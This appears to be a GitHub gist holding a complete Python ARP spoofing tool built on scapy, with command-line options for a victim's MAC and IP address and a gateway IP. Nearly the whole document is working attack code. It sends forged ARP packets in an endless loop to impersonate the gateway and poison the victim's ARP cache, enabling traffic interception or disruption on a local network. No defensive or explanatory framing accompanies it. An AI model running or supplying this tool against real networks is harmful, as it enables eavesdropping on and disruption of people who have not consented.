Created
May 5, 2020 11:03
-
-
Save echel0nn/da2b8f78e59f442b5bf7af4dc191dd71 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| #!/usr/bin/env python | |
| # -*- coding: utf-8 -*- | |
| """ | |
| * *** | |
| ** *** | |
| ** ** | |
| ** ** | |
| ** ** **** | |
| *** **** ** *** *** ** * *** * *** **** | |
| * *** * *** * ** * *** * *** ** * **** **** **** * | |
| * *** * **** *** *** * *** ** ** ** ** **** | |
| ** *** ** ** ** ** *** ** ** ** ** ** | |
| ******** ** ** ** ******** ** ** ** ** ** | |
| ******* ** ** ** ******* ** ** ** ** ** | |
| ** ** ** ** ** ** ** ** ** ** | |
| **** * *** * ** ** **** * ** ****** ** ** | |
| ******* ******* ** ** ******* *** * **** *** *** | |
| ***** ***** ** ** ***** *** *** *** | |
| * | |
| * | |
| * | |
| * | |
| Author: @echel0n_1881 | |
| ~~~~~~~~~~~~~~~~~~~~~~ | |
| ARP spoof tool. | |
| libraries: | |
| scapy : `pip install scapy` | |
| time : builtin | |
| usage: arp_spoofer.py [-h] [--victim VICTIM] [--gateway GATEWAY] | |
| [--victimip VICTIMIP] | |
| optional arguments: | |
| -h, --help show this help message and exit | |
| --victim VICTIM Chosen MAC address of victim. | |
| --gateway GATEWAY Chosen IP of router/switch/modem | |
| --victimip VICTIMIP Chosen IP address of the victim | |
| """ | |
| import argparse | |
| from scapy.all import ARP, send | |
| def spoof(victimMacAddress, gatewayIP, victimIP): | |
| # ARP REQUEST'S OP CODE | |
| OPCODE = 1 | |
| print(gatewayIP) | |
| print(victimIP) | |
| print(victimMacAddress) | |
| packet = ARP( | |
| op=OPCODE, | |
| psrc=gatewayIP, | |
| pdst=victimIP, | |
| hwdst=victimMacAddress) | |
| while 1: | |
| send(packet) | |
| # optional | |
| # time.sleep(1) | |
| def parser(): | |
| # our wise parser | |
| parser = argparse.ArgumentParser() | |
| # adding arguments | |
| parser.add_argument( | |
| "--victim", | |
| help="Chosen MAC address of victim.", | |
| type=str) | |
| parser.add_argument( | |
| "--gateway", | |
| help="Chosen IP of router/switch/modem", | |
| type=str) | |
| parser.add_argument( | |
| "--victimip", | |
| help="Chosen IP address of the victim", | |
| type=str) | |
| args = parser.parse_args() | |
| # post values to our process | |
| return args.victim, args.gateway, args.victimip | |
| if __name__ == "__main__": | |
| # get values from arguments | |
| victim, gateway, victimip = parser() | |
| print("[+] Welcome to Echelon's Arp Spoofer") | |
| print("[!] Chosen options are:") | |
| print("\t Victim's Mac Address: ", victim) | |
| print("\t Victim's IP: ", victimip) | |
| print("\t Gateway's IP: ", gateway) | |
| answer = input("Shall we continue? [Y/n] ") | |
| print("") | |
| answer = str(answer) | |
| if answer == "Y" or answer == "y": | |
| # start spoofing already | |
| spoof(victim, gateway, victimip) | |
| else: | |
| print("[EXITING] Goodbye...") | |
| exit(1) |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment